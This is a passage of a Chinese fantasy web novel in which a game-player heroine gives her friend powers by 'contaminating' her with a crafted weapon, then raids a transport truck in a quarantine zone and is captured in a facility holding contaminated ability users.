她还有一个支线任务【卫文谨的秘密】在身上呢，那个任务的奖励是【异能存储模块】，也就是被她制作成【电击治疗手/枪】的原材料，让手/枪本身能够储存一个异能，不必临时再去偷取。
她把经纪人的异能储存在了里面，可惜的是宴会厅内不允许携带武器，不然她还真想试试用卫文谨的触手异能与大蜘蛛搏斗，看看谁更厉害。
他的异能这么奇怪，想必他与污染物之间有一些不明不白的关系。
想到这，她忽然从虚空中摸出一把枪。
其他三人：“！？？”
“是我从保镖身上顺走的，嘿嘿，他们应该不会再要回去了。”
这是她cos劫匪“绑架”大小姐的时候拿着的那把，事后被她随手丢进【创作】界面作为原材料存着，就这么糊弄着带了出来。
朝晖帅气地用手指把枪转了个圈，然后递给李长庚：“喏，你先用吧。”
李长庚：“！？”
这把枪，比他原先那把被朝晖抢走（？）的型号更先进一些。
他有渠道能够购买子/弹，有了这把枪，也可以遮掩之前那把枪的去向。
至于她是从哪里掏出来这把枪的，大家都决定假装不知道。
“……我以伤势问题为理由，已经暂时不做黑手套了。”李长庚小声报备自己的行程。
“嗯，正好，你跟我一起去封锁区打怪。”朝晖说。
之前小李帮她打boss，人头还算在她身上，所以理论上她可以带上队友一起加快效率。
经纪人异能暂时不能用，也不是她的正式员工；莎莎则没有异能。
如果需要一个队友的话，李长庚是一个很好的选择。
唉，也不知道这破游戏什么垃圾设定，目前她认识的比较强力的异能者，除了男主，就只有那个光头女boss，以及各种保镖。
前者变成了她的卡牌，后者不可能为她所用。
她现在要录节目，也没办法去异能者比较多的地区网罗人才呀！
为什么这些练习生就不能多来几个异能者嘛！
等等……
没有异能？
朝晖挠挠头，打开自己的【创作】界面。
【污染之手：不论您创作出什么样的作品，都都可以使其拥有污染他人的能力。
污染：需要消耗一定的能源。
异化效果：您可以用魔法少女卡牌中储存的能力作为污染之源。】
朝晖想了想，对伊尔莎和李长庚道：“你们先去房间里，我有事要和小卫说。”
两人点点头，没多说什么。
卫文谨也没纠结自己怎么就被一个18岁女孩叫“小卫”这种称呼了。
“什么事？”
朝晖小声问：“那种污染，假如时间不长的话，影响是不是比较小？”
“……嗯。”
“像你的异能，如果在你彻底被污染之前把你敲晕是不是就没事了？”
卫文谨：……
他也小声解释：“对，污染具现化在□□上，但其实本质上是对于精神的一种侵蚀。”
“失去意识之后，污染的速度会极大减慢，与此同时再采取一些治疗措施，就可以缓解污染症状。但事后需要很久的时间来恢复，除非拥有特殊的治愈系能力。”
朝晖想起姬越的异能，他似乎对污染很敏感，一碰就晕；但后来战斗的时候也不是不能坚持，只是意识时清醒时模糊的样子。
本质上，这难道是一种自我保护？
为什么他晕倒时又需要精神系异能者帮助呢？
她把这些问题记在小本本上，说不定以后攻略boss就用得上了。
“假如我污染一个普通人，她受到的影响不会很大吧？”朝晖又问，“如果需要治疗，具体是什么样的治疗方式呢？”
“普通人受到污染后，一般会有头晕恶心、幻觉幻听等症状，但这是在污染比较强的情况下。如果是很弱的污染，他们甚至都不一定能察觉到。”
卫文谨为她解答，“这也是为什么许多普通人能够在封锁区周围活动，异能者很多时候还需要依靠他们的辅助。治疗的话，最好的办法是异能者来治疗，其次使用医院的专业仪器也可以。”
朝晖仔细思考了一会儿。
她有一个想法：
用魔法少女卡牌污染伊尔莎。
之前她光想着如何对付异能者，毕竟普通人，要么不是她一拳之敌，要么保镖太多应付不来。
但如果她污染一个队友呢？
这个队友是普通人，所以受到污染之后，影响不会很深；与此同时，还能获得魔法少女卡牌中的能力。
唯一的问题就是，她不知道这个魔法少女卡牌污染的效果会不会太强，导致伊尔莎受伤。
“没事，先试一试，大不了就读档吧。”朝晖想。
假如她能用这种办法让莎莎拥有异能，相当于是多了一个强力帮手。
她自己的话，暂时使用【电击治疗手枪】也没问题。
“你问这些做什么？”卫文谨总有一种不详的预感。
“没什么，话说你的异能一直这个样子，岂不是很没用？”朝晖说，“有没有什么办法能让你正常使用异能啊，配备一个治疗异能者可以吗？”
“……”
卫文谨很无语，有你这么戳人伤疤的吗？
但他也习惯了这种感觉，朝晖说的嘛，算了。
他无奈道：“治疗只能延缓污染的进程，或者在污染停止之后修复身体和精神。对于我那种程度来说，修复需要花费很长、很长的时间。”
也就是说，假如遇到了什么生死危机，他可以使用异能。但平时没办法用，cd太长。
朝晖想起支线任务【清理污染物】的任务奖励：抗污染点数。
会不会有用呢？
一切问题的答案似乎都在封锁区，看来她这一趟势在必得。
她需要增强己方实力，而这一切，都是为了——把寰天文化给炸了！
具体怎么炸，云端能源的事情也给了她一些灵感。
只要把寰天背后的某个大佬，以及大佬背后的异能者们统统暗杀掉，再披露他们的一些肮脏内幕，那么他们便很容易陷入自顾不暇的境地，元气大伤，再也不会有空给她找麻烦。
寰天文化的后台既不是白皇后也不是红皇后，那还有什么好怕的。
朝晖非常自信地认为，大佬既然罩了自己，肯定就会像安全局的姜局长那样，给她擦屁股。
“行了，莎莎你们出来吧。”
二人出来以后，朝晖左右看了看，从卫文谨的米白色简洁宜家风置物桌上拆下来一条腿。
这条桌腿上宽下窄，整体呈现圆柱形，握在手里像是一根棍棒。
卫文谨：……算了我再买个新的吧。
她点完【污染之手】，把桌腿丢进去，打怪获得的二十五能源丢进去，总觉得缺了些什么。
缺了一些亮晶晶、闪着光的东西！
还有，既然是用魔法少女卡牌作为污染源，那么要是能增加一个放置卡牌的卡槽就好了。
在经纪人家里一通搜刮后，最终她丢进去了一个与卡牌差不多大小的金属盒子、以及从伊尔莎耳朵上摘下来的两个耳钉。
“我会还给你的！”朝晖信誓旦旦。
伊尔莎还能说什么呢，这个耳钉本来也是便宜货，无所谓了。
于是，朝晖怀着抽卡般神
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圣的心态，点击创作——
“叮——创作成功！”
“精力-5。【污染之手】熟练度+1。”
“您获得了【魔法少女桌腿】。”
【魔法少女桌腿：
既然您怀着充满创意的想象力，那么，它也就长成了您想要的样子！
挥舞魔法少女桌腿，将污染源中的力量播撒出去吧！
使用时，需要念出“让本魔法少女来朵蜜你吧！”
装载污染源（0/1）】
成功了！！
【魔法少女桌腿】腿如其名，是一根白白的桌腿，圆圆的脑袋上一左一右镶嵌着两颗耳钉，下面卡着一个卡槽，像是一个人的眼睛和张大的嘴。
伊尔莎：“……”
这什么玩意儿啊！！！
为什么这么丑！！
朝晖却喜笑颜开，掏出魔法少女卡牌往卡槽内一卡，严丝合缝。
“来，莎莎，这个是给你的，快试试吧。”
桌腿的描述中，似乎并不强求她亲自使用，让莎莎自己对自己用可能也没问题。
朝晖不是很想承认，她觉得那句口令有点尴尬。
“……”
伊尔莎一脸迷茫地接过这根桌腿。
朝晖已经拿出手机蓄势待发：“你对着自己用，然后喊：让本魔法少女来朵蜜你吧！”
“……喊什么？”
卫文谨和李长庚都用同情的眼神注视着伊尔莎。
伊尔莎见状，只好抱着一种视死如归的心情，咬咬牙，对着自己挥舞了一下桌腿。
“让……让本魔法少女来朵蜜你吧！”
“！？”
明明周围没有任何变化，卫文谨和李长庚的脸色却都是一变。
空气中，某种黏腻阴暗的潮湿错觉在滋生。
是污染物的气息。
异能者大都对此比较敏感，朝晖和伊尔莎却都不是异能者，大眼瞪小眼地互相看着。
“……然后呢？”
“你有没有觉得自己身上不舒服？难受？头晕？产生幻觉？”
“没有。”
“你有没有觉得自己可以操控自己的手臂？比如想象它变成机械的样子。”
朝晖把自己偷异能之后使用的方法告诉她。
异能者不是天生就会使用自己的能力，他们在六岁左右觉醒后，很可能会不小心误用，甚至导致惨剧的发生。因此，异能者需要受到正规引导，学习并更好地运用能力。
像朝晖这种偷来之后，多试几次立刻就能上手用的，属于超级天才，可惜很少人知道这一点。
伊尔莎闭目凝神，过了大概两分钟，才悟到一点感觉。
她低下头，半个小拇指变成了机械。
“！！！”
卫文谨的下巴掉在了地上。
“你，你能让普通人成为异能者！？”
李长庚手舞足蹈：“姐姐快看你的手！！”
伊尔莎抛掉冷静，吱哇乱叫：“我感觉很奇怪！手的感觉很奇怪！！”
“那是正常的，你已经成功了！尝试蔓延这种感觉呢？让强化的部分变多一些！”朝晖鼓励她。
李长庚也把自己使用异能的经验分享给她，三人眼巴巴望着伊尔莎，最终她成功强化了自己的一条手臂，并且一不小心把那个少了一条桌腿的置物桌给锤烂了。
“感觉头晕晕的。”伊尔莎说。
朝晖想了想，自己使用异能需要消耗精力值，那么伊尔莎消耗的应该也是类似的东西。
卫文谨已经从朝晖之前问他的问题当中隐约猜到一些，闻言吓了一跳，立刻说：“你快停下，去床上躺一会儿，我现在下单一台家用治疗仪。”
家用治疗仪价格不菲。
但……他又能怎么办？
算了，能用钱解决的事情，还是用钱解决吧。
万一朝晖为了治疗仪，再去抢医院怎么办？
66.寰天娱乐（22）
朝晖确认莎莎没什么大问题，就把她丢给经纪人，自己带着李长庚，开小破车前往封锁区。
“你有门路？”
“不是门路，只是大概知道怎么进去。”
李长庚住在贫民窟，那里的一些人，也不乏实在过不下去了，跑到封锁区外围讨生活的。
当初他们杀死光头女boss时，害怕被抓的小李曾建议她一起前往封锁区外围生活。
“以前认识的一个人住在封锁区。不算很熟，但能说得上话。”李长庚解释。
封锁区和贫民窟在一个方位，但需要出城走上一段。高速路是收费的，朝晖咬牙支付98元。
“抢钱啊！”
李长庚深以为然：“他们一般不走高速，都走旁边的路。”
朝晖用余光看去，高速路外是郊区建筑，里面有大量交错纵横的小道，走那边，没几个小时下不来。
“算了，我赶时间。明天还要回去拍摄。”
她今天不过是趁着假期，去封锁区探探路罢了。
高速路上车开得很快，渐渐地周围再也没有建筑，路外成了荒地，车辆也少了许多。
大约一个多小时他们就来到封锁区外围，这里竟然还算繁华，驻扎在此的军人、军人家属、被吸引来的小商贩、大量的流动人口等等形成一个小型城镇。
李长庚指引她七拐八拐，进入一个更偏僻的地方停车。
“要先吃点东西吗？”
“我不吃，你吃吧。”朝晖说。
想了想，她补充一句：“我请，你多吃点。”
这里也没什么好吃的，李长庚随便找了一家路边摊贩，卖咸菜馒头稀饭，价格非常美丽，一个馒头一块钱，一大碗厚粥两元。
这还不是最廉价的食物，最便宜的是劣质营养液，9块9可以买30支，每天吃三支管饱。
朝晖这个玩家角色虽然穷，那也是生活在繁华的洛川市内，公司和节目组都提供正常的饭菜，至少有菜有肉。
难怪伊尔莎没工资也愿意待在公司里做练习生，至少能吃饱饭。
见李长庚准备吃馒头，她喊了声：“等等！”
小李也就十五六岁年纪，从小吃这些，真不知道他怎么长那么高个头的。
难不成，这就是男主的金手指？
再穷再苦，身高绝不能少一厘米！
“唔？”小李迷茫地看着她。
“你跟我来。”
朝晖指使着他去旁边一家小铺子坐下，熏鸡来一只，青菜一份，米饭一盆，再加上两瓶盒装牛奶。
再高端的东西，这里也没得卖了。
一顿加起来才20块，还不如城里一包零食贵。
李长庚也没有太客气，显然他已经饿得两眼冒光，坐下就吃，呼噜呼噜像只猪。
“必须要吃蛋白质和蔬菜，才能保证身体健康。以后都这么吃哈，钱够吧？”
“嗯。”
“吃好点才能长得高，你不长到188，不养出八块腹肌，那不是给男主届丢脸吗？”
“……”
对于听不懂的话，他便遵循姐姐的教诲，沉默以对。
姐姐也经常叮嘱他要吃饱吃好，但他俭省惯了，一下子没扭转过来念头。
李长庚完全没读过书，家庭情况和伊尔莎半斤八两，住在贫民窟内，父母天天吵架。
六岁那年，他“觉醒”异能，不小心打坏了家具，甚至变成了幼狼的模样，被暴怒的父亲当成野狗一顿暴揍，差点死掉。
只比他大一点的伊尔莎就将他捡回去，偷偷照顾，等他康复一些后，又想办法带他去投靠“贫民窟异能者联合会”。
后来伊尔莎被父亲“卖”给星宇娱乐公司，至少吃住不再是问题。他也靠偷学的一点修车手艺，加上做“黑手套”得来的收入，勉强摆脱吃营养液的生活。
这些年的经历下来，让他对人的情绪非常敏感。
老板……虽然有时候疯言疯语，行事诡异，但对他们都很好。
她和别人都不一样。
她的情绪非常特别，既没有看不起他，也没有怜悯的情绪。
他甚至觉得，她像一个高高在上的神，对路过的任何人都不会投以过多的目光，善良的帮助对她来说就仿佛举手之劳。假如是成为了她的“员工”，那就更怪了——没有任何熟悉的过程，就对他们交付了完全的信任。
这样的自信让人不自觉产生依赖的情绪。
她甚至让姐姐拥有了异能！
李长庚认为，反正自己也没什么见识，唯一的特殊之处也就是异能了，既然遇到这么可靠（？）的人，那她说啥就听啥吧！
……
朝晖不知道npc心里的小九九，对她来说，李长庚的沉默寡言、悲惨过往只是一种“人设”，是游戏设定。
看到身边可怜的路人npc，她都会尝试帮一把，何况自己的员工？
至于再多的情绪，那就没有了。
听系统说，小李原本会因为伊尔莎的死而黑化，变成阴暗爬行的美强惨暗黑系男主。
但她怎么看他，都觉得这家伙跟自家邻居小屁孩没什么区别。
熊孩子她挺讨厌的，但小李很乖。
小孩子不吃饭怎么能行！
什么黑化美强惨，谁爱当谁当去吧！
反正她绝不可能让伊尔莎死掉，弟弟也要好好成长才行。
李长庚炫完饭，便精神饱满地带着她继续绕路，真正进入封锁区内。
所谓封锁区，竟然并不是朝晖想象中的荒地，里面有一些破旧不堪的建筑物，杂草丛生、碎石满地，仿佛被摧毁的老城。
进来后，支线任务竟然动了。
【只手遮天的财阀：12/100】
嗯？
这地方和财阀有什么联系？
“我只来过一次。”李长庚看向她，“外围的污染物被清理得很干净，如果想要找的话，就得向内深入。找不找得到也得看运气。”
朝晖点点头：“先来探探路。”
封锁区内可没有地图，这算是军方机密，除此之外，就是外围那些“冒险者”们自己口口相传的一些大致路线。
他们进入这座破败的城市。
两人体能都很好，速度极快，也不绕路，绕开军方的基地，沿着小路直直地向着城市内部深入。
朝晖这时候也明白了，怪不得不少人会冒着生命危险进来探险。如若这里真的是一座老城，那么“拾荒”本身就能有一定收获，各种材料都是可以卖钱的。
一路上干干净净，除了碎石和杂草，以及建筑遗骸，什么矿泉水瓶、塑料垃圾是一点儿也没有的，全都被捡了个干净。
“要是能开车进来就好了。”朝晖感慨。
李长庚摇摇头：“军方能放我们进来已经是优待，一般车是不被允许进入的，会影响他们执勤。”
大中午跑了快一个小时，路边的景色没有任何差别，“封锁区”到底
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有多大？
“有没有什么办法能感应到污染物的气息？你们异能者是不是可以？”
李长庚挠头，“可以是可以，但……那也是在距离比较近的情况下。”
“那有没有办法吸引污染物呢？”
找怪找不到，能不能引怪？
李长庚说：“污染物似乎也可以感应到强大异能者的气息，并被其吸引，其他我就不太清楚了。”
诶？
朝晖想起自己的【异能·伪】，这是系统送她的补偿，可以释放出某种专属于异能者的波动，伪装成异能者。
但她现在等级也才七级而已，释放出的异能波动就不是很强。
她忽然想起拉满大蜘蛛仇恨的姬越。
“你不是S级异能者吗？按理说对于污染物会有很强的吸引力吧？”她立刻兴致勃勃道。
“……S级？我？”
李长庚傻傻地看着她，“我只有B级……”
“怎么可能？”
朝晖皱眉道：“你可是男主，不可能是B级的。要不然几个男主拉出来，你还怎么混啊？系统，这里面是不是出bug了？”
“亲爱的玩家，经检测，这里是没有bug的，男主李长庚的异能等级的确是S级。”
“那他为什么说是B级？检测出问题了？还是他年纪太小，以后才会变强？”
“这个……”
系统想说这是男主好感度提升之后才会解锁的人物资料，结果它检测了一下，发现李长庚的好感度竟然有60！
“……他是变身型的异能，每逢月圆之夜，就会获得数倍于平时的力量，甚至超越S级，所以平时相对来说会稍弱一些。”
“至于现在，可能是……身体太差了，以及他很久没有去检测过异能。”
“如果在官方机构检被判定为S级，对他来说不一定是件好事。”
也就是说，小李以为自己很弱，其实他还可以。
李长庚眼看朝晖自言自语了一会儿，忽然就用坚定的眼神望着他。
“你对自己还是太没有自信了，其实你就是S级。好了，今天就到这里，等下一个月圆之夜我们再过来。”
“？”
到时候她做好万全准备，再加上S+级异能者在侧，肯定能够找到怪。
正好这些天让伊尔莎练练如何使用异能，再带她来这儿打怪升级锻炼锻炼。
以后不就能派上用场了？
李长庚：“……我？S级？”
“对啊，你就是S级，难道你没有觉得自己很厉害吗？”
李长庚很少转变为狼形态，执行“黑手套”任务时，也基本只依靠自己强大的恢复能力以及敏捷性。
对付普通人和一般的异能者，那样已经足够了。
变成狼的时候……他会觉得自己和平时有些不太一样，兽性在侵蚀，令他感到害怕。
“月圆之夜我会很容易失去理智。”他小声说。
“没关系，如果你发疯了，我会及时把你揍晕的。回去之后记得提醒莎莎多练习能力！她不用跟我回节目组了。”
朝晖把小妹小弟安排完，准备往回跑。
今天就先到这里吧，下次再来。
然而就在此时，李长庚的耳朵忽然动了动。
“有人。”他说。
“？”
“那边……有发动机的声音。”
朝晖立刻存档，随后蹲下身，“我们过去看看。”
67.寰天娱乐（23）
现在正是午后，他们没有走官方开拓的大路，而是选择旧城小路，一路上也没有遇到什么人。
循着李长庚指出的方向，他们悄悄靠近，却看见一辆黑色卡车，大剌剌在大路上开着，方向朝外，似乎准备离开封锁区。
“不是官方的车吗？”朝晖说。
李长庚皱眉：“应该不是的，官方的车一定会有他们的标志，而且非常显眼，这也是为了防止我们随便靠近。”
“这样，那我去看看。”朝晖顺手存档。
李长庚：！？
他还没来得及说些什么，朝晖已经狂奔着大步向前。
车开得不算很快，似乎载着什么重物一样，在碎石沙土地上印下深深的辙痕。
她刚靠近车身不到五米，就被车上的人发现，副驾驶窗户打开，一个黑漆漆的枪口伸出来对着她：“滚开，垃圾！”
“嘿你怎么还骂人呢？”朝晖不满。
【电击治疗手/枪】就别在她后腰上，她掏出来给自己一枪，半空中身形一转，黏腻冷酷的气息蔓延，蓝黑色触手如同花朵一般盛开。每一颗橙黄色的眼珠都活跃地扭转着，展示久未见光的兴奋。
她操纵着歪七扭八的触手，一个纵跃，便以人类难以想象的速度和力量，直接跳到了大卡车车顶上！
“外围怎么会有污染物！？”那人大惊，举枪连发。
朝晖左闪右躲，没躲开，一下子被打掉十滴血。
“这么痛！！”
她大怒，一触手卷起那人用力甩飞出去，那倒霉蛋咕噜噜滚到路边，脑袋撞在碎石块上一动不动。
正准备回身对付开车的司机，只听“砰”地一声，司机额前出现一个血洞，脑浆和血花飞溅出来，喷在车前玻璃上。
李长庚趴在不远处，手中枪口犹在冒烟。
“好枪法！”
朝晖赞了一声，忙用触手接过方向盘和刹车，将车停下来。
李长庚匆匆跑来，“能把车弄进来，绝不是普通人……他们的死很可能会触发警报，报告给某些人知道。”
“没关系，先看看他们是什么身份。”朝晖关掉异能，淡定自若地把司机的裤子脱下来给自己套上。
当着小弟的面脱裤子再用异能，确实是省裤子，但……感觉就太变态了。
“……这是运输卡车。”李长庚低下头假装什么都没看见，翻找着车内的物品。
两名运输者都是普通人，甚至不是朝晖一合之敌，如果他们胆敢开车进来，又深入封锁区内部，那么他们肯定还有其他同伙，只是没有一起行动罢了。
“难道他们在里面遇到了什么好东西？”
卡车除了前面的驾驶室，就是后面的货仓，车壁材质坚硬，后门被电子锁牢牢锁住。
朝晖悠悠从裤子口袋掏出一张磁卡，毕竟裤子的上一任主人已经凉了。
一刷，没刷开。
“需要虹膜认证……”李长庚擦了把汗。
这种虹膜认证还挺高级，必须得活人才能刷开。
很可惜的是，倒霉蛋司机已经死得不能再死了，脑袋撞到石头的那个，他的虹膜刷不开。
朝晖又尝试暴力破坏，但也不知道卡车内壁的材质使用什么材料制作，强度堪比当初她大战光头女boss的房间。
外面的车皮掉得七七八八，里面的墙壁巍然不动，连个凹陷也没有。
没办法，她只好读档重来，这次记得留活口。
可怜的司机好端端开着车，凭空出现一大坨黑漆漆的“污染物”。还没来得及反应，就被她用触手直接卷出车内，吊在半空四肢乱蹬，嘴巴被黏腻湿滑的黑色触手堵住，只能于喉中发出“呜呜呜”的无力抗议，一双不大的眼睛内满是绝望。
“别叫，小李，你把他掰正了。”朝晖发出充满反派气息的指挥。
“……”
李长庚一爪子按在司机脑门上，把他端端正正地摆放在虹膜检测仪器前。
“嘀嘀，验证失败。”
“嗯？”
“呜呜呜！”
朝晖看司机同志有话想说，遂将他的嘴巴放开。
“你，你是谁？”司机用非常复杂的眼神看着朝晖。
一半是人，一半是污染物……
像这样的人，他也不是没有见过，可那些人大都都已经失去理智，濒临崩溃。
“你为什么打不开这个锁？”朝晖问，“告诉我，我就留你一命。”
司机艰难地摇摇头：“这个锁只有上级才能打开，我们只是运输工。”
“你的上级是谁？”
“……我不知道。”
“那你的东西从哪来的，要运到哪里去？”
“从封锁区里面的一个营地来，到外面的营地去……”司机说着，“他们有很多警卫，我们不能进去，只负责开车。”
“哦，走吧，我们往里开，你带路，小李开车。”
朝晖从车上找出绳子，把司机和副驾驶两个人五花大绑，整齐摆放在驾驶室后排。
司机看了她一眼，不知想到了什么，“我们也是给人打工罢了。你看着不像是在这附近混的人，袭击了运输车，上面肯定已经收到警报，他们不会放过你的。”
“你既然不知道上级是谁，为什么能确定他们不会放过我？”朝晖纳闷。
“我不知道他们具体的身份，但无非就是那些财阀中的一个呗，还能有谁？”司机说。
司机还挺实在的，原来他是在封锁区外围混的普通打工人，副驾驶那个人找到他，拜托他进封锁区帮忙运东西。
副驾驶也不是什么厉害人物，他比较会做人，以前在洛川混过，通过他的人际关系，帮封锁区的其他朋友介绍一些活儿，因此人缘不错。
对于他们来说，能赚到钱，什么活儿都能接。于是司机从此就转职，他的工作就是往返开车运货。
“会不会是他们在封锁区内部猎杀到的污染物？或者找到的那些‘宝物’？”朝晖旁若无人地和李长庚聊起来。
“有可能。”李长庚点点头，“但车上就他们两个，也不派个人来看着，也许不是什么重要的物品？”
“唔，去看看就知道了。”
“……”
李长庚开着车，犹豫半晌，终于鼓起勇气：“我们，我们一会儿怎么脱身？”
就算朝晖上面有人，她也不是无敌的。
封锁区这种地方，荒郊野岭，让一个人悄无声息的消失可太容易了。
“放心，我待会儿存另一个档。”朝晖自信满满。
她有三个存档位置，刚才袭击卡车之前存了一个，待会儿要是遇到危险就再存一个，这样就可以根据情况，灵活地选择不同的时间点回档。
李长庚没听懂她在说什么，只听到两个字“放心”。
这到底要怎么放得下心啊！
但看她满脸自信，他也只好继续开车。
“大概多久到啊？”朝晖问司机。
她似乎完全没思考过司机会不会骗她。
根据李长庚的生存经验，司机不一定会骗她，反而会引他们去往正确的地点，再坐等他们被那里的武装力量干掉。
他们就两个人，再厉害，也很难打得过一群警卫。
“大概，六七个小时？”司机说。
“？”
朝晖满脸不可置信：“多少？”
“六，六七个小时……”
“你是不在唬我们？！你是不是？？”朝晖抓起司机的领子狂摇。
司机欲哭无泪：“我怎么敢啊！！我们早上六点就出发，中午才快开到边缘，结果您说要开回去，我承认我们路上休息了一会儿……但六个小时已经是极限了！！”
“掉头回去吧。”朝晖说。
她没那么多
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时间用在开车上，也没有那种耐心。既然如此，就等下次的月圆之夜请个长假过来，一次性探索完算了。
还好节目组不知道她还有请长假的打算，否则又得开始哭了。
他们两个进入封锁区才不过一个多小时，开车的速度更快，很快就来到边缘区域。
“现在再走大路会被官方发现的，跟我走。”司机示意他来指路。
“太危险了。”李长庚看了朝晖一眼。
“嗯，他们来开车就好，我们走了。”
朝晖给他们松绑，示意李长庚和她下车。
“？”
所有人都搞不清朝晖的脑回路。
她……不会是有病吧？
她到底想干嘛啊！
司机二人毕竟也只是普通人，今天这番折腾，导致他们距离约定的时间已经超过许多。
不管朝晖有什么“阴谋”，他们也没什么办法。
总之，朝晖下车没多久，就见那辆卡车慢悠悠发动，沿着小路七拐八扭。
“走。”
二人身手敏捷，跟上了车，很快来到封锁区边缘某个出入口。
他们远远蹲在某个废弃建筑后，侧身向那边观察。
这里附近的杂物被清理得一干二净，地势平坦，没有隐蔽之处。封锁区标志性的铁丝围栏附近有一片建筑，被重兵把守，门口两个护卫全副武装，拿着冲锋枪，但纪律似乎一般，半倚靠在墙边，懒洋洋抽着烟。
“你在外面吸引注意力，我闯进去看看。”
李长庚扶额，“我……那我们刚才为什么不直接躲在车里？”
“这可是封锁区诶！不管他们在运输什么，难道真就只有两个手无缚鸡之力的普通人运送？我觉得他们这个‘基地’很可能已经知道我们的存在了，躲在车里被一锅端怎么办。”朝晖说。
李长庚一愣。
“好了，你往外去一点，弄出点动静，我看看这里有没有下水管道……”朝晖拿出自己的老本行。
还真给她找到一个，但里面都坍塌堵死了，也不知道是否能连接到基地。
“好吧，注意安全，老板。”
他依言照做，溜到远处后，开了一枪。
朝晖眼睁睁看着基地门口的刚才还懒洋洋的人瞬间抬枪对准那个方向，没过两秒钟，大门打开，卡车开进去，十几号全副武装的人呼啦啦跑出来。
等那伙人稍微跑远了点，她一个闪身，化身为触手，如离弦之箭，一团漆黑的阴影飘向那扇仍开着的大门。
门口守卫都傻了眼，隔两秒才开始开枪。
他们警惕半天，你就搁这儿大门硬闯！？
朝晖也没办法啊！
她本来想躲在车下混进去，但实在不容易办到，路上很多障碍物，挂在车下容易被刮成一块板板。
想趁卡车出门时跟着混进去，却没料到这基地周围一片平坦，没有让她靠近的条件。
而且之前使用触手的时候，每秒都要掉血，她现在只剩五十多滴血了。
虽然这一周目，她的目的原本也只是来探一探情况而已，但折在门口总觉得有些不划算，所以她才干脆硬闯一下试试。
“砰砰砰！！”
“哒哒哒哒哒……”
这回敌人的武器可是冲锋枪，哪怕她走位风骚，扫在身上还是让她大声喊痛。
照这样下去，还没混进门就要被扫死了。
朝晖忽然灵光一闪。
“别别别别呀！！！你们要不要抓活的？我投降！！”
半人半污染物的家伙顶着她那张白皙漂亮的脸蛋，“咚”一声跪下。
黏腻的触手蠕动，被打爆的眼珠子还在喷血，胡乱转动着，似乎在发出无声的尖嚎。
守卫：“……”
一张带电的大网从天而降，朝晖“嗷”了一声，从善如流地闭上眼，假装“昏迷”。
68.寰天娱乐（24）
朝晖有理由认为，她这种“共生状态”绝对很能吸引这些喜欢去封锁区转悠的人。
“昏迷”后，她顺势解除异能，半眯着眼睛观察外面的情况。
她被关进黑漆漆的铁箱子里，似乎被什么东西运送着，只有一个个小小的透气口。于是她就把眼睛贴着那个小口，向外张望。
这还真是个基地，充满现代感，但奈何透气口太小，她观察不到太多。
很快他们通过一扇大门，来到一个新的建筑，箱子被打开，她被“倒”进一个小房间里。
朝晖没再装死，因为那伙人倒完她就立刻离开了，大门“咚”地一声关上，这牢房里只剩下昏黄的灯光和一些奇奇怪怪的咆哮声。
“这可咋整？我又卡关了？”朝晖郁闷极了。
她还以为，这些人抓到她，怎么也该审问一下吧？
不给她一点机会啊！
她好像被关进牢房里了。
大门是半透明的，她还以为是玻璃，但摸起来似乎更像是水晶，所以她能就着昏暗的光线隐约看见外面。
像是“蜂巢”，每个格子面积都不大，勉强够她在里面躺下，再转个身。
这是一个立体的牢狱，她的位置在中层偏上。
墙壁和门的材质坚固，至少她“咚咚”捶了两下之后，40点力量拿它毫无办法。
【狂战士】效果还没用掉，它的冷却足足两个小时，所以她暂时没打算使用。
她的血量在刚才那番扫射之后只剩三十点，浑身血淋淋的，衣服也破破烂烂，好在伤口虽在，却没有那种特别致命的位置，因此她没有获得流血debuff。
确定自己的情况后，她又向外看。
对面的“蜂巢”里面，是一个个……人？
“不对……那些东西怎么跟我有点像？”朝晖睁大眼。
是半人半污染物的存在。
有的身体一半是蜘蛛，只不过蜘蛛那部分长在上半身，整个人看起来非常鬼畜。
有的浑身黑漆漆黏糊糊，看不出是什么东西，只顶着一颗人类的脑袋。
有的……
他们或是安静地一动不动，或是发出各种诡异痛苦的嚎叫，或是疯子一般试图破坏墙壁，但却没有任何效果。
总的来说，他们看起来都已经失去了理智，行为与正常人类不同。
“人体实验吗？经纪人是不是来自于这种地方？”玩家立刻展开丰富的联想。
各种阴暗的脑洞展开，比如某邪恶科学家试图把人类和污染物缝合在一起，让普通人也能拥有特殊能力什么的……卫文谨的能力不就被判定为一种异能吗？
然后可怜的经纪人逃离地狱，改名换姓，通过自己的努力，在洛川市扎下根……
“系统，这么可怕的事情，你不给我个支线任务？”朝晖兴致勃勃。
她之所以想混进来，不就是为了可能存在的支线任务吗！
疯狂科学家什么的，都是老梗了好不好。
在她发现污染物和异能者之间不明不白的联系时，她就有了这样的想法。
系统：“……”
它一声不吭，朝晖暴跳如雷。
“这种一看就有大问题的地方你都不给我个任务，你们游戏剧情到底是怎么设计的！！”
愤怒的朝晖“咚”一声捶在墙上，整个牢狱内都静了一瞬。
“你被污染到脑子了……？”隔壁npc说。
这个声音淡淡的，是个女性，听起来年纪不大也不小。
朝晖一愣。
这里还有保持着理智的人？
她还记得卫文谨说过的话，在被污染的状态下，精神会遭受极大折磨，基本上都会失去理智。
看来这位就是牢狱里的走剧情npc咯？
难不成，她才是会给自己派发支线任务的那个人？
朝晖兴奋地问：“你是怎么进来的？需不需要我帮助你逃出去？”
“……你帮不了我。”那人说，“还有，这里也不是监狱。”
“那是什么？”
隔壁这位npc十分尽职地履行自己的职责，一五一十交代了她知道的事情。
也或许是被关在这里，能和她说话的人不多。
朝晖看了眼对面那些静若处子，动若脱兔的家伙，觉得自己十分能够理解npc想要倾诉的迫切心情。
总而言之，根据npc的说法，这座“蜂巢”之内关押着的家伙们，都是异能者，而且是受到污染后无法治愈的异能者。
异能者被污染后似乎并不会立刻死去，除非污染的程度非常严重。他们只会慢慢失去理智，变得跟“污染物”有些相似，但并不完全一样。
“这座基地的主人在想办法延缓污染，试图找出复原的办法。”npc说，“我是精神类型的异能者，污染程度又比较轻，所以大多数时间还能保持理智，偶尔会配合他们做一些实验。”
嗯？
那就怪了。
朝晖刚刚被从铁箱子倒进“蜂巢”的时候，已经恢复人类状态，但那些人似乎并没有对她产生更多的兴趣。
“所以你是主动进来的？”
“算是吧。”
npc没有说她叫什么名字，似乎觉得这并不重要。
她继续解释：“我在封锁区深处遭遇了污染，随后被他们带了过来，反正，我也没有别的地方可去了，这里至少包吃住。”
朝晖：……
包吃住？
就为了这个！？
大姐，你可是被关起来了啊！！
可听她这番说辞，似乎也有几分道理。
失去理智的异能者很可能对社会造成危害，这样一个关押基地，在关押异能者的同时利用他们做实验，研究延缓污染的方法，听起来似乎挺美妙的。
